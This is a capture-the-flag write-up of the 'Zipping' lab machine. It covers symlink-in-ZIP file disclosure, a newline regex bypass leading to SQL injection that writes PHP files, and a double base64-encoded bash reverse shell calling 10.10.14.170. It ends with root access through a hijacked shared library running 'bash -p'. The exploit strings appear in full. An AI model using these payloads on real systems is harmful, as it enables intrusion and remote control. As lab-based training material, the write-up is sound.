Zipping

Created by xdann1

Recon

We start with a Nmap scan and discover only two ports, 22 and 80, on which their respective standard services are running.

A Gobuster scan was running in the background, but it is sufficient to check the page manually. The first thing you notice is an upload page, this only allows zip files to be uploaded. Unfortunately, a bypass did not work here.

We have a store page with products.

And we are able to store those products in a cart. The pages are requested via the page parameter.

Here is the shopping cart.

Foothold

First of all, let's see how the file upload works. Only Zip files are allowed. To do this, we first inserted any file into a zip file. However, this was not accepted. Only one file is allowed in the zip, and this must be a PDF. The file extension PDF is sufficient.

After we have uploaded a zip containing a PDF, we see that it is unzipped, and the link to the upload directory is provided. The first idea was to upload a PHP reverse shell instead of a PDF by bypassing the file extension inside the zip with a null byte, but that didn't work. This was probably an unintended path and was patched.

After a short period of research, a vulnerability is found that takes effect here. A file upload attack, which is described in more detail below. This uses symlinks that are resolved during unpacking in order to access any files on the system.

A Symlink (also called a symbolic link) is a type of file in Linux that points to another file or a folder on your system. Symlinks are similar to shortcuts in Windows.

An archive can contain a symbolic link. A symbolic link is a special file that links to another file. By uploading a ZIP containing a symbolic link, and after the ZIP is extracted, you can access the symbolic link to gain access to files that should not be accessible otherwise. To do so, you need to get your symbolic link to point to files outside of the web root, for example “/etc\passwd”.

These types of issues are typically found when a developer allows ZIP files in the upload functionality. When a user uploads the malicious ZIP file in the application then it simply takes the ZIP file and extracts it without any further validations.

We test the whole thing with the /etc/passwd file. We create the symlink and pack it into the zip file. The parameter --symlinks is important here.

We intercept the request to the PDF file and are able to read the file of /etc/passwd in Burp Suite.

Ok, we can't do much with it yet. Let's first look at the sources of the PHP pages. The cart.php file is of interest here. Especially when adding items to the cart.

Let's retrieve the cart.php file after it gets successfully uploaded.

Again, we intercept the request.

In line 8 we see that the product_id is validated using preg_match. Without that, we would be able to inject sql.

It checks if any word/regex from a blacklist is present on the user input and if it's not, the code can continue it's execution. To bypass this check you could send the value with new-lines urlencoded (%0A).

From there we should be able to inject arbritrary PHP code.

cart.php
<?php
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {
    // Set the post variables so we easily identify them, also make sure they are integer
    $product_id = $_POST['product_id'];
    $quantity = $_POST['quantity'];
    // Filtering user input for letters or special characters
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {
        echo '';
    } else {
        // Construct the SQL statement with a vulnerable parameter
        $sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
        // Execute the SQL statement without any sanitization or parameter binding
        $product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);
        // Check if the product exists (array is not empty)
        if ($product && $quantity > 0) {
            // Product exists in database, now we can create/update the session variable for the cart
            if (isset($_SESSION['cart']) && is_array($_SESSION['cart'])) {
                if (array_key_exists($product_id, $_SESSION['cart'])) {
                    // Product exists in cart so just update the quanity
                    $_SESSION['cart'][$product_id] += $quantity;
                } else {
                    // Product is not in cart so add it
                    $_SESSION['cart'][$product_id] = $quantity;
                }
            } else {
                // There are no products in cart, this will add the first product to cart
                $_SESSION['cart'] = array($product_id => $quantity);
            }
        }
        // Prevent form resubmission...
        header('location: index.php?page=cart');
        exit;
    }
}

// Remove product from cart, check for the URL param "remove", this is the product id, make sure it's a number and check if it's in the cart
if (isset($_GET['remove']) && is_numeric($_GET['remove']) && isset($_SESSION['cart']) && isset($_SESSION['cart'][$_GET['remove']])) {

    // Remove the product from the shopping cart
    unset($_SESSION['cart'][$_GET['remove']]);
}

// Update product quantities in cart if the user clicks the "Update" button on the shopping cart page
if (isset($_POST['update']) && isset($_SESSION['cart'])) {
    // Loop through the post data so we can update the quantities for every product in cart
    foreach ($_POST as $k => $v) {
        if (strpos($k, 'quantity') !== false && is_numeric($v)) {
            $id = str_replace('quantity-', '', $k);
            $quantity = (int)$v;
            // Always do checks and validation
            if (is_numeric($id) && isset($_SESSION['cart'][$id]) && $quantity > 0) {
                // Update new quantity
                $_SESSION['cart'][$id] = $quantity;
            }
        }
    }
    // Prevent form resubmission...
    header('location: index.php?page=cart');
    exit;
}

// Send the user to the place order page if they click the Place Order button, also the cart should not be empty
if (isset($_POST['placeorder']) && isset($_SESSION['cart']) && !empty($_SESSION['cart'])) {
    header('Location: index.php?page=placeorder');
    exit;
}

if (isset($_POST['clear'])) {
	unset($_SESSION['cart']);
}

// Check the session variable for products in cart
$products_in_cart = isset($_SESSION['cart']) ? $_SESSION['cart'] : array();
$products = array();
$subtotal = 0.00;
// If there are products in cart
if ($products_in_cart) {
    // There are products in the cart so we need to select those products from the database
    // Products in cart array to question mark string array, we need the SQL statement to include IN (?,?,?,...etc)
    $array_to_question_marks = implode(',', array_fill(0, count($products_in_cart), '?'));
    $stmt = $pdo->prepare('SELECT * FROM products WHERE id IN (' . $array_to_question_marks . ')');
    // We only need the array keys, not the values, the keys are the id's of the products
    $stmt->execute(array_keys($products_in_cart));
    // Fetch the products from the database and return the result as an Array
    $products = $stmt->fetchAll(PDO::FETCH_ASSOC);
    // Calculate the subtotal
    foreach ($products as $product) {
        $subtotal += (float)$product['price'] * (int)$products_in_cart[$product['id']];
    }
}
?>

<?=template_header('Zipping | Cart')?>

<div class="cart content-wrapper">
    <h1>Shopping Cart</h1>
    <form action="index.php?page=cart" method="post">
        <table>
            <thead>
                <tr>
                    <td colspan="2">Product</td>
                    <td>Price</td>
                    <td>Quantity</td>
                    <td>Total</td>
                </tr>
            </thead>
            <tbody>
                <?php if (empty($products)): ?>
                <tr>
                    <td colspan="5" style="text-align:center;">You have no products added in your Shopping Cart</td>
                </tr>
                <?php else: ?>
                <?php foreach ($products as $product): ?>
                <tr>
                    <td class="img">
                        <a href="index.php?page=product&id=<?=$product['id']?>">
                            <img src="assets/imgs/<?=$product['img']?>" width="50" height="50" alt="<?=$product['name']?>">
                        </a>
                    </td>
                    <td>
                        <a href="index.php?page=product&id=<?=$product['id']?>"><?=$product['name']?></a>
                        <br>
                        <a href="index.php?page=cart&remove=<?=$product['id']?>" class="remove">Remove</a>
                    </td>
                    <td class="price">&dollar;<?=$product['price']?></td>
                    <td class="quantity">
                        <input type="number" name="quantity-<?=$product['id']?>" value="<?=$products_in_cart[$product['id']]?>" min="1" max="<?=$product['quantity']?>" placeholder="Quantity" required>
                    </td>
                    <td class="price">&dollar;<?=$product['price'] * $products_in_cart[$product['id']]?></td>
                </tr>
                <?php endforeach; ?>
                <?php endif; ?>
            </tbody>
        </table>
        <div class="subtotal">
            <span class="text">Subtotal</span>
            <span class="price">&dollar;<?=$subtotal?></span>
        </div>
        <div class="buttons">
            <input type="submit" value="Update" name="update">
            <input type="submit" value="Place Order" name="placeorder">
	    <input type="submit" value="Clear" name="clear" onsubmit="">
        </div>
    </form>
</div>

<?=template_footer()?>

Let's try to write a PHP reverse shell on the system and call it.

To do this, it must be located at /www/var/html/shop. Unfortunately, this did not work, and we have to switch to another directory. We write our file to /var/lib/mysql/, here we seem to have write permissions. To test, we simply query the version.

In order to execute our query, we intercept the add-to-cart request and inject our code into the product_id.

%0a'%3bselect+@@version++into+outfile+'/var/lib/mysql/version.php'%3b --1

After we have submitted our request, we call up the following resource /shop/index.php?page=/var/lib/mysql/version and see that we have been successful. The database version is revealed.

Ok, on to the reverse shell. The first approach was to simply base64 encode the Pentest Monkey reverse shell, slightly adapt the last line so that no special characters could be misinterpreted when decoding the URL and write its content to the target file via select from_base64. Unfortunately, this did not work. Instead, we use exec() and execute a simple reverse shell /bin/bash -i >& /dev/tcp/10.10.14.170/4445 0>&1. We need to double base64 encode the simple reverse shell to remove the special characters like +.

Double base64-encoded reverse shell:

TDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekV3TGpFd0xqRTBMakUzTUM4ME5EUTFJREErSmpFPQ==

PHP page, executing the double base64-encoded reverse shell:

<?php exec("echo TDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekV3TGpFd0xqRTBMakUzTUM4ME5EUTFJREErSmpFPQ==| base64 -d | base64 -d | bash");?>

Encoded PHP page:

PD9waHAgZXhlYygiZWNobyBUREpLY0dKcE9XbFpXRTV2U1VNeGNFbEVORzFKUXpscldsaFpkbVJIVG5kTWVrVjNUR3BGZDB4cVJUQk1ha1V6VFVNNE1FNUVVVEZKUkVFclNtcEZQUT09fCBiYXNlNjQgLWQgfCBiYXNlNjQgLWQgfCBiYXNoIik7Pz4

Payload writing the encoded PHP page plain into /var/lib/mysql/x.php.

%0a'%3bselect+from_base64("PD9waHAgZXhlYygiZWNobyBUREpLY0dKcE9XbFpXRTV2U1VNeGNFbEVORzFKUXpscldsaFpkbVJIVG5kTWVrVjNUR3BGZDB4cVJUQk1ha1V6VFVNNE1FNUVVVEZKUkVFclNtcEZQUT09fCBiYXNlNjQgLWQgfCBiYXNlNjQgLWQgfCBiYXNoIik7Pz4=")++into+outfile+'/var/lib/mysql/x.php'%3b --1

After we have uploaded the reverse shell, we access it via http://zipper.htb/shop/index.php?page=/var/lib/mysql/x while a netcat listener is running in the background. The reverse shell connects, and we are the user rektsu.

We find the first flag in his home directory. It would already be possible to access this using the file symlink disclousure via zip.

Privilege Escalation

Using sudo -l, we find out that the user can execute /usr/bin/stock with elevated permissions without providing the password of rektsu.

However, the application itself requires a password. The password is hard-coded and can be quickly determined via strings.

When executing, we see that we can VIEW or EDIT stocks. Nothing special at first glance.

Let's take a look at the application during execution.

strace sudo /usr/bin/stock

We see that after entering the password, the shared library /home/rektsu/.config/libcounter.so is included. However, we cannot find the file there. So we can create one ourselves that opens a root shell, since we can call the application using sudo.

We craft a simple shared library with attribute __attribute__((constructor)), which uses the system function to execute the command bash -p at program startup.

#include <unistd.h>

static void inject() __attribute__((constructor));

void inject (void) {
    system("bash -p");
}

We compile it, and after executing /usr/bin/stock, we are root.

gcc -shared -o libcounter.so -fPIC libcounter.c

The final flag can then be found in /root/root.txt.

Last updated